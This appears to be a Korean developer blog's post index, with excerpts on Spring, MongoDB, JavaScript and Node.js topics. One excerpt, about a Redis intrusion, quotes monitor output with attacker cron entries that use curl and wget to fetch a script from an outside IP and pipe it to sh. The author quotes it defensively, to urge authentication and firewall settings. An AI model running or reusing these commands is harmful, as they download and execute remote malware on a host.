본문 바로가기

전체 글

(121)
Spring Boot MongoDB multi-document transactions 몽고 DB 4버전부터 Multi-Document 트랜잭션을 지원한다고 합니다. 자세한 설명은 아래 몽고디비 홈페이지에서 한 번 확인해보세요. 영어가 잘 안읽히신다면 저처럼 번역 돌리고 보시면 됩니다! 특히, IMPORTANT!로 강조되어 있는 박스는 꼭 확인해보셔야 해요. https://docs.mongodb.com/manual/core/transactions/ Transactions — MongoDB Manual In most cases, multi-document transaction incurs a greater performance cost over single document writes, and the availability of multi-document transactions should ..
Redis 해킹 backup 생성되고 데이터가 삭제됨 Docker에서 레디스를 설치하고 사용하는 데에 지속적으로 데이터가 삭제되고 backup1, backup2, backup3, backup4 키가 저장되는 것을 확인하였습니다. 모니터링 해보면 지속적으로 해킹을 시도합니다. 보안 설정을 잘 해둬야겠습니다. 계정 설정을 해두고 방화벽 설정을 점검합시다. redis-cli monitor "flushall" "set" "backup1" "\n\n\n*/2 * * * * cd1 -fsSL http://194.87.139.103/cleanfda/init.sh | sh\n\n" "set" "backup2" "\n\n\n*/3 * * * * wget -q -O- http://194.87.139.103/cleanfda/init.sh | sh\n\n" "set" "back..
Spring Webflux Annotated Controller @ClientIp 먼저 Spring Webflux Annotated Controller 방식에서 client ip를 가져와볼게요. 그 다음 MVC 방식에서는 어떻게 설정하면 되는지도 다뤄볼게요. @ClientIp 어노테이션을 만들어서 비즈니스 로직 단에서는 매우 간단하게 처리하고 IP를 받아오는 로직은 Resolver에 존재하도록 하겠습니다. 일단 목표는 Controller에서 아래와 같이 사용하는 거에요. Controller @RestController @RequiredArgsConstructor @Slf4j public class BookController { private final BookService bookService; @GetMapping("/books/{bookId}") public Mono getBook..
Spring Boot Reactive Mongo Data QueryDSL Spring Data MongoDB에서도 QueryDSL을 사용할 수 있어요. build.gradle에 아래 설정만 잘 추가해주시면 됩니다. 예제에서는 Reactive Mongodb를 사용하고 있습니다. build.gradle plugins { id 'com.ewerk.gradle.plugins.querydsl' version '1.0.10' } dependencies { implementation 'org.springframework.boot:spring-boot-starter-data-mongodb-reactive' implementation 'com.querydsl:querydsl-mongodb' implementation 'com.querydsl:querydsl-apt' } def querydsl..
JavaScript n자리 랜덤숫자 (초간단) n자리 랜덤숫자를 만들어볼게요. 말그대로 문자없이 숫자만 이용해서 생성합니다. 파라미터로 n을 넘기면 그 숫자만큼의 길이의 랜덤숫자가 생성되요. 맨 앞자리가 0일수도 있게 하기위해 타입은 문자열이에요. function generateRandomCode(n) { let str = '' for (let i = 0; i < n; i++) { str += Math.floor(Math.random() * 10) } return str } 요건 바로 개발자 도구(F12) 열고 테스트해볼 수 있어요!
JavaScript 시간 계산 표시 (방금전, 몇분전, 몇시간전, 몇일전...) 유튜브를 보면 글 작성 기준으로 방금 전, 몇분 전, 몇시간 전, 몇일 전, 몇주 전, 몇개월 전, 몇 년전 이런 식으로 시간을 표기해줘요. 저 역시도 왠만하면 글 작성 날짜를 보여주는 것보다 지나간 시간을 계산해서 표기해주는 것이 좋더라구요. 물론, 프로젝트에 따라 다르겠지만요! 그럼 자바스크립트에서 글 작성 날짜를 받아서 해당 글이 얼만큼 시간이 흘렀는지 표기해주는 함수를 만들어볼게요. function displayedAt(createdAt) { const milliSeconds = new Date() - createdAt const seconds = milliSeconds / 1000 if (seconds < 60) return `방금 전` const minutes = seconds / 60 if ..
Node.js env 환경변수 관리 (초간단) 참고로 실습환경은 express-generater로 생성한 프로젝트 기준입니다. 다른 프로젝트에서도 동일한 방법으로 적용 가능하나 타이핑하는 내용은 다를 수 있습니다. 우선 package.json을 열어주세요. 그리고 package.json에 scripts를 수정해줍니다. 아래 환경 별로 변수를 추가해줄거구요. local: 로컬 환경 dev: 개발 환경 prod: 운영 환경 초기 package.json scripts npm start를 터미널에서 입력하면 node 서버가 실행되게 되어있습니다. { "scripts": { "start": "node ./bin/www" } } 수정한 package.json scripts npm start나 npm run local을 입력하면 local 환경변수가 적용된 no..
Node.js 메일 발송 (nodemailer) NodeJS에서 메일을 발송해볼게요. 발송자 메일은 Google 기준으로 작성했어요. 혹시 다른 사이트의 메일로 발송을 원하시는데 어려움을 겪고 계시다면 댓글 남겨주시면 제가 한 번 찾아볼게요! 저는 nodemailer를 이용했어요. 일단 nodemailer를 설치해줍니다. npm install nodemailer 그리고 transport 객체를 생성하는 파일을 만들어줄거에요. 이 객체로 우리는 비즈니스 로직을 구현할거에요. 저는 mail.transport.js 라는 파일을 만들어서 transport 객체를 만들고 export 했습니다. mail.transport.js const nodemailer = require('nodemailer') const transport = nodemailer.create..